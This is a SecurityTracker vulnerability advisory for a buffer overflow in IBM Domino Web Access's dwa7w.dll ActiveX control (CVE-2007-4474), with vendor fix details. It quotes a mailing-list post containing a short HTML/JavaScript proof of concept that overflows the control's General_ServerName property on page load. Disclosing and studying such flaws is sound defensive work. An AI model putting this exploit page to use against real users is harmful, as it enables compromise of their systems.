SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   IBM iNotes and Domino Vendors:   IBM
IBM Domino Web Access 'dwa7w.dll' ActiveX Control Buffer Overflow May Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1019138
SecurityTracker URL:  http://securitytracker.com/id/1019138
CVE Reference:   CVE-2007-4474   (Links to External Site)
Updated:  Jan 9 2008
Original Entry Date:  Dec 21 2007
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 6.5, 7.0, 8.0; Upload Module version 7.0.34.1
Description:   A vulnerability was reported in IBM Domino Web Access. A remote user may be able to cause arbitrary code to be executed on the target user's system.

A remote user can create specially crafted HTML that, when loaded by the target user, will invoke the Domino Web Access Upload Module 'dwa7w.dll' ActiveX control and trigger a buffer overflow to potentially execute arbitrary code on the target system. The code will run with the privileges of the target user.

The report did not confirm code execution.

The CLSID of the vulnerable control is: E008A543-CEFB-4559-912F-C27C2B89F13B

Elazar Broad reported this vulnerability.

Impact:   A remote user can create HTML that, when loaded by the target user, may potentially execute arbitrary code on the target user's system.
Solution:   The vendor has issued a fix (6.5.6, 7.0.3, and 8.0). A related vulnerability will be corrected in 7.0.4 and 8.0.1.

The IBM advisory is available at:

http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21279071

Vendor URL:  www-1.ibm.com/support/docview.wss?rs=463&uid=swg21279071 (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] IBM Domino Web Access Upload Control dwa7w.dll

The Domino Web Access Upload Module version 7.0.34.1 seems to suffer from a memory corruption issue that may allow the execution of
 arbitrary code. By setting the General_ServerName property and calling the InstallBrowserHelperDll() function it MAY be possible
 to control the ECX register and thereby control the EIP. PoC as follows:

-------------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
     var s = 'A';

    while (s.length <= 12000) s = s + 'A';

    obj.General_ServerName = s;
    obj.InstallBrowserHelperDll();
  
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B" />
</object>
</body>
</html> 
-------------------


Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC